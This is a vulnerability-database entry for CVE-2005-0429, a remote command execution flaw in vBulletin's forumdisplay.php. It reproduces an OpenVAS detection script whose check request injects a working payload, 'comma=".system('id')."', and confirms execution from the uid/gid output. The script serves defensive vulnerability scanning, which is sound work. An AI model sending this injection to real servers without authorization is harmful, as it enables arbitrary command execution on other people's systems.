vBulletin Forumdisplay.PHP Remote Command Execution Vulnerability. The remote host is running vBulletin, a web based bulletin board system written in PHP. The remote version of this software is vulnerable to a remote command execution flaw through the script 'forumdisplay.php'. A malicious user could exploit this flaw to execute arbitrary command on the remote host with the privileges of the web server
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
![]() | CVE-2005-0429 | 2 May 200504:00 | – | nvd |
![]() | CVE-2005-0429 | 15 Feb 200505:00 | – | cvelist |
![]() | vBulletin Forumdisplay.PHP RCE Vulnerability | 3 Nov 200500:00 | – | openvas |
![]() | CVE-2005-0429 | 2 May 200504:00 | – | cve |
![]() | vBulletin forumdisplay.php comma Parameter Arbitrary Command Execution | 14 Feb 200500:00 | – | nessus |
# OpenVAS Vulnerability Test
# $Id: vbulletin_forumdisplay_remote_cmd_exec.nasl 6046 2017-04-28 09:02:54Z teissa $
# Description: vBulletin Forumdisplay.PHP Remote Command Execution Vulnerability
#
# Authors:
# David Maciejak <david dot maciejak at kyxar dot fr>
#
# Copyright:
# Copyright (C) 2005 David Maciejak
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
# Ref: AL3NDALEEB <al3ndaleeb at uk2 dot net>
if(description)
{
script_id(16455);
script_version("$Revision: 6046 $");
script_tag(name:"last_modification", value:"$Date: 2017-04-28 11:02:54 +0200 (Fri, 28 Apr 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2005-0429");
script_bugtraq_id(12542);
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
script_name("vBulletin Forumdisplay.PHP Remote Command Execution Vulnerability");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2005 David Maciejak");
script_family("Web application abuses");
script_dependencies("http_version.nasl", "vbulletin_detect.nasl");
script_require_ports("Services/www", 80);
script_require_keys("vBulletin/installed");
script_tag(name:"solution", value:"Upgrade vBulletin 3.0.4 or newer");
script_tag(name:"summary", value:"The remote host is running vBulletin, a web based bulletin board system
written in PHP.
The remote version of this software is vulnerable to remote command
execution flaw through the script 'forumdisplay.php'.
A malicious user could exploit this flaw to execute arbitrary command on
the remote host with the privileges of the web server.");
exit(0);
}
# the code
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);
# Test an install.
install = get_kb_item(string("www/", port, "/vBulletin"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
dir = matches[2];
http_check_remote_code (
unique_dir:dir,
check_request: '/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system(\'id\')."',
check_result:"uid=[0-9]+.*gid=[0-9]+.*",
command:"id"
);
}
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo